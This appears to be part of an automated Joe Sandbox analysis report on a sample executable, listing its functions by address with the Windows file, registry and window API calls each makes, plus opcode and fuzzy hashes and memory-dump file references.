Opcode ID: 67d6f810e310069c411d265ffcddf6abea8090fb20e8d2db1667143610fe5bd5
Instruction ID: fb1d02f26201205f5bfcbd3029eb7cfad7cca69a3f8c46de7b35964bdd0c3f7d
Opcode Fuzzy Hash: 67d6f810e310069c411d265ffcddf6abea8090fb20e8d2db1667143610fe5bd5
Instruction Fuzzy Hash: 18814571E04228DFDF24CFA8C844BADBBB1FB45305F24816AD856BB291C7389986DF45

Function 00406943 Relevance: 5.2, APIs: 4, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1837367574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1837347196.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837415453.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837576644.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5328a0701a0a32b67c374057837e60552721ea1a6811a44abe83e42546375677
Instruction ID: 55fc176551b00f8465723d30588461dcf2fc1d3195b414c524ee7a2fcbdbe87b
Opcode Fuzzy Hash: 5328a0701a0a32b67c374057837e60552721ea1a6811a44abe83e42546375677
Instruction Fuzzy Hash: 39815971E04228DBEF24CFA8C844BADBBB1FB45305F14816AD856BB2C1C7786986DF45

Function 00406D91 Relevance: 5.2, APIs: 4, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1837367574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1837347196.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837415453.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837576644.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a445a859154d96951751bba7131c1a69e0b73c0895ac35a4e96b2d7ee743491b
Instruction ID: 7645ab34ef40ba223d211dbe726f8302725d3f31b3e808d93cc70016d3e0d248
Opcode Fuzzy Hash: a445a859154d96951751bba7131c1a69e0b73c0895ac35a4e96b2d7ee743491b
Instruction Fuzzy Hash: 10711471E04228DBDF24CF98C8447ADBBB1FF49305F15806AD856BB281C7389A86DF45

Function 00406EAF Relevance: 5.2, APIs: 4, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1837367574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1837347196.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837415453.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837576644.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd7d90a79d0f10410712768d5bba8e0713d9e8f593557aa9bf16db43d4616d0f
Instruction ID: a4e19b7408f2815589132e7e2b866ae2b9c8caa40868d81b8a4623295251dea3
Opcode Fuzzy Hash: cd7d90a79d0f10410712768d5bba8e0713d9e8f593557aa9bf16db43d4616d0f
Instruction Fuzzy Hash: 0D712571E04218DBEF28CF98C844BADBBB1FF45305F15806AD856BB281C7389986DF45

Function 00406DFB Relevance: 5.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1837367574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1837347196.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837415453.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837576644.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08b8d2b65a0c1c30b5e83c7ea62cdb0658c0fab8542c410d93f606ef21acc8e7
Instruction ID: 979076adb26e5f1e3e7a9458f232081f51f9a0722543042d1d726f4d31452a21
Opcode Fuzzy Hash: 08b8d2b65a0c1c30b5e83c7ea62cdb0658c0fab8542c410d93f606ef21acc8e7
Instruction Fuzzy Hash: 50714871E04228DBEF28CF98C8447ADBBB1FF45305F15806AD856BB281C7386A46DF45

Function 004032DE Relevance: 4.6, APIs: 3, Instructions: 101COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 004032F2

Part of subcall function 0040345D: SetFilePointer.KERNELBASE(00000000,00000000,00000000,0040315B,?), ref: 0040346B

SetFilePointer.KERNELBASE(00000000,00000000,?,00000000,00403208,00000004,00000000,00000000,?,?,00403182,000000FF,00000000,00000000,0040A230,?), ref: 00403325
SetFilePointer.KERNELBASE(0017237E,00000000,00000000,00414ED0,00004000,?,00000000,00403208,00000004,00000000,00000000,?,?,00403182,000000FF,00000000), ref: 00403420

Memory Dump Source

Source File: 00000001.00000002.1837367574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1837347196.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837415453.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837576644.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: FilePointer$CountTick
String ID:
API String ID: 1092082344-0
Opcode ID: 46bf3b49fb3124b20b26849d3f96ebab8958347a080c85236d637af58840fa95
Instruction ID: a2c2ae871b20a7f651e14226ae934804f023725c52e887911cb1b1382089a511
Opcode Fuzzy Hash: 46bf3b49fb3124b20b26849d3f96ebab8958347a080c85236d637af58840fa95
Instruction Fuzzy Hash: 54313872610215DBD721DF29EEC496A3BA9F74039A754433FE900F62E0CBB99D018B9D

Function 004024F8 Relevance: 4.5, APIs: 3, Instructions: 47registryCOMMON

Download Yara Rule

APIs

RegEnumKeyW.ADVAPI32(00000000,00000000,?,000003FF), ref: 0040252B
RegEnumValueW.ADVAPI32(00000000,00000000,?,?), ref: 0040253E
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user~1\AppData\Local\Temp\nscEDE4.tmp,00000000,00000011,00000002), ref: 00402557

Memory Dump Source

Source File: 00000001.00000002.1837367574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1837347196.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837415453.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837576644.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: Enum$CloseValue
String ID:
API String ID: 397863658-0
Opcode ID: 962e8dbebea2d0e856bbe812d5e95e45bdf7d67f5620c7d5b12d357826d7025c
Instruction ID: 69a0bd767b5398a5b54c194fc83da7942780fa4e63ecbf8b5358c30743fc2944
Opcode Fuzzy Hash: 962e8dbebea2d0e856bbe812d5e95e45bdf7d67f5620c7d5b12d357826d7025c
Instruction Fuzzy Hash: 4B017171904204ABEB149F95DE88ABF7AB8EF80348F10403EF505B61D0DAB85E419B69

Function 004031D6 Relevance: 3.1, APIs: 2, Instructions: 88COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(0040A230,00000000,00000000,00000000,00000000,?,?,00403182,000000FF,00000000,00000000,0040A230,?), ref: 004031FB

Memory Dump Source

Source File: 00000001.00000002.1837367574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1837347196.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837415453.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837576644.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 09b1e881bc629fe9623964bcd0dac9c3534a319fde10b4dd95dd132c0a2dd849
Instruction ID: f938e70baf20f89fc7421c1cbc4d65c8cbb1a4a40291e2e844035b0cdbff1196
Opcode Fuzzy Hash: 09b1e881bc629fe9623964bcd0dac9c3534a319fde10b4dd95dd132c0a2dd849
Instruction Fuzzy Hash: 53314B30200219BBDB109F95ED84ADA3E68EB04759F20857EF905E62D0D6789A509BA9

Function 00402484 Relevance: 3.1, APIs: 2, Instructions: 56registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNELBASE(00000000,00000000,?,?,?,?), ref: 004024B5
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user~1\AppData\Local\Temp\nscEDE4.tmp,00000000,00000011,00000002), ref: 00402557

Memory Dump Source

Source File: 00000001.00000002.1837367574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1837347196.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837415453.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837576644.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: CloseQueryValue
String ID:
API String ID: 3356406503-0
Opcode ID: 63b64fe82c2f511c8169af5ec8c0190f19a921c94039209ad64b866aaad41420
Instruction ID: 8b4d26b48c61f4aea5aea8b01f6eaa690eaa4425e6198d6413393360261ed691
Opcode Fuzzy Hash: 63b64fe82c2f511c8169af5ec8c0190f19a921c94039209ad64b866aaad41420
Instruction Fuzzy Hash: 61119431910205EBDB14DF64CA585AE7BB4EF44348F20843FE445B72D0D6B85A81EB5A

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageW.USER32(00000402,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000001.00000002.1837367574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1837347196.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837415453.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837576644.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 23ed1533968369fb0e08a97211bc38e5ec6adcca8744e4a1682e6817b2d67833
Instruction ID: 4945fb4554c9d48a14a82d28c5fc4c127f2c3d85d8aa5c2a63fae023cf5e702c
Opcode Fuzzy Hash: 23ed1533968369fb0e08a97211bc38e5ec6adcca8744e4a1682e6817b2d67833
Instruction Fuzzy Hash: AB01F431724210EBEB199B789D04B2A3698E710714F104A7FF855F62F1DA78CC529B5D

Function 0040238E Relevance: 3.0, APIs: 2, Instructions: 39registryCOMMON

Download Yara Rule

APIs

RegDeleteValueW.ADVAPI32(00000000,00000000,00000033), ref: 004023B0
RegCloseKey.ADVAPI32(00000000), ref: 004023B9

Memory Dump Source

Source File: 00000001.00000002.1837367574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1837347196.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837415453.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837576644.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: CloseDeleteValue
String ID:
API String ID: 2831762973-0
Opcode ID: a00859f013a8106156cc87040160a2b11e5294e3cc8a521d5b70861134e176e9
Instruction ID: 92c71ce55c792e737e0c56b3c5c8c262173643586798c2a655fc457b9e75749a
Opcode Fuzzy Hash: a00859f013a8106156cc87040160a2b11e5294e3cc8a521d5b70861134e176e9
Instruction Fuzzy Hash: 5FF0F632E041109BE700BBA49B8EABE72A49B44314F29003FFE42F31C0CAF85D42976D

Function 00401E49 Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000), ref: 00401E67
EnableWindow.USER32(00000000,00000000), ref: 00401E72

Memory Dump Source

Source File: 00000001.00000002.1837367574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1837347196.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837415453.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837576644.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: Window$EnableShow
String ID:
API String ID: 1136574915-0
Opcode ID: 93e3322236d135cf3becb144ab33be47f3bb68365a0b30391c7db73d0d040f31
Instruction ID: b41365517dadb09c69eaf87789fd34eb77fb4a5ff64ddc4fb458d6156a5e0ce1
Opcode Fuzzy Hash: 93e3322236d135cf3becb144ab33be47f3bb68365a0b30391c7db73d0d040f31
Instruction Fuzzy Hash: DFE0DF32E08200CFE724EFA5AA494AD77B4EB80324B20847FF201F11D1CE7858818F6E

Function 004067C2 Relevance: 3.0, APIs: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,00000020,?,00403517,0000000A), ref: 004067D4
GetProcAddress.KERNEL32(00000000,?), ref: 004067EF

Part of subcall function 00406752: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00406769
Part of subcall function 00406752: wsprintfW.USER32 ref: 004067A4
Part of subcall function 00406752: LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 004067B8

Memory Dump Source

Source File: 00000001.00000002.1837367574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1837347196.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837415453.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837576644.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: 32c59c0b14b548542ecf76b068d43d3c76fab82d66a171b1af570515759e8b4d
Instruction ID: 7b80e99db610fb1a261844a57c40f0e669857592e3492eb3b2a0c0f7ce0b312d
Opcode Fuzzy Hash: 32c59c0b14b548542ecf76b068d43d3c76fab82d66a171b1af570515759e8b4d
Instruction Fuzzy Hash: 14E086325042115BD21057745E48D3762AC9AC4704307843EF556F3041DB78DC35B66E

Function 00405EDE Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000003,00402F73,C:\Users\user\Desktop\V7OHj6ISEo.exe,80000000,00000003), ref: 00405EE2
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405F04

Memory Dump Source

Source File: 00000001.00000002.1837367574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1837347196.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837415453.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837576644.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 133c91a1dbaf88dbfd801214b1c0a7aa23d67a900b7421546c440c33baf3910c
Instruction ID: 5201df1ff3c0a0bd0294a98706b79309786c42e99614e685d4e3591f63f4d9e2
Opcode Fuzzy Hash: 133c91a1dbaf88dbfd801214b1c0a7aa23d67a900b7421546c440c33baf3910c
Instruction Fuzzy Hash: D5D09E31254601AFEF098F20DE16F2E7AA2EB84B04F11552CB7C2940E0DA7158199B15

Function 0040599C Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,00000000,00403498,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,771B3420,004036EF,?,00000006,00000008,0000000A), ref: 004059A2
GetLastError.KERNEL32(?,00000006,00000008,0000000A), ref: 004059B0

Memory Dump Source

Source File: 00000001.00000002.1837367574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1837347196.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837415453.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837576644.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 2a128b8619e21daab1f352946d406dfe7ea7319ba132ee6f2f415100985951e7
Instruction ID: 01a40f06620425e1c555583f7199589d3835b04f5715874dbca4219b9923c3a9
Opcode Fuzzy Hash: 2a128b8619e21daab1f352946d406dfe7ea7319ba132ee6f2f415100985951e7
Instruction Fuzzy Hash: D6C04C71216502DAF7115F31DF09B177A50AB60751F11843AA146E11A4DA349455D92D

Function 75562AAC Relevance: 1.6, APIs: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(00000000), ref: 75562B6B

Memory Dump Source

Source File: 00000001.00000002.1884142121.0000000075561000.00000020.00000001.01000000.00000004.sdmp, Offset: 75560000, based on PE: true

Associated: 00000001.00000002.1884110487.0000000075560000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1884190450.0000000075564000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1884228003.0000000075566000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_75560000_V7OHj6ISEo.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 04e85c64b7d1f7b6af6b108cddf2f2f73468be87baebc2e028c264306510c476
Instruction ID: 3079468f9fbab46b6c1913aba522517f48173cff616b21143563c7258dae480b
Opcode Fuzzy Hash: 04e85c64b7d1f7b6af6b108cddf2f2f73468be87baebc2e028c264306510c476
Instruction Fuzzy Hash: A041BF769102C4EFDB21DF6ADA41B493765FB84B64FB04827F801CA600CBB6E484CB92

Function 0040167B Relevance: 1.5, APIs: 1, Instructions: 38fileCOMMON

Download Yara Rule

APIs

MoveFileW.KERNEL32(00000000,00000000), ref: 00401696

Memory Dump Source

Source File: 00000001.00000002.1837367574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1837347196.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837415453.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837576644.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: FileMove
String ID:
API String ID: 3562171763-0
Opcode ID: f4993909eaaf04b4d10f0c262de6f8e1be0fd70d19c578988f2b9bef0751c49c
Instruction ID: 73a88bd3a5ced7927151e6ebce11b30d6a6a5b8b2c4e1db0cab765602213b928
Opcode Fuzzy Hash: f4993909eaaf04b4d10f0c262de6f8e1be0fd70d19c578988f2b9bef0751c49c
Instruction Fuzzy Hash: CBF09031A0851197DF10BBA54F4DD5E22509B8236CB28073BB412B21E1DAFDC542A56E

Function 004027EF Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,?,00000000,?,?), ref: 0040280D

Part of subcall function 0040632F: wsprintfW.USER32 ref: 0040633C

Memory Dump Source

Source File: 00000001.00000002.1837367574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1837347196.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837415453.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837576644.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_V7OHj6ISEo.jbxd

Similarity

API ID: FilePointerwsprintf
String ID:
API String ID: 327478801-0
Opcode ID: 38b593970e7e5e8d656344d1d4c72dba1b6d10a1f376cfd8863b7a874be62c28
Instruction ID: 7217e66a6bf97858787bec6454aeb19e768c89e60d383eb7a66a1db5dd3d6cef
Opcode Fuzzy Hash: 38b593970e7e5e8d656344d1d4c72dba1b6d10a1f376cfd8863b7a874be62c28
Instruction Fuzzy Hash: 8BE06D71E00104ABD710DBA5AE098AEB7B8DB84308B60403BF601B10D0CA7959518E2E

Function 00406283 Relevance: 1.5, APIs: 1, Instructions: 24registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.KERNELBASE(00000000,?,00000000,00000000,00000000,?,00000000,?,00000000,?,?,?,00402CF2,00000000,?,?), ref: 004062AC

Memory Dump Source

Source File: 00000001.00000002.1837367574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1837347196.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837415453.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1837461052.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
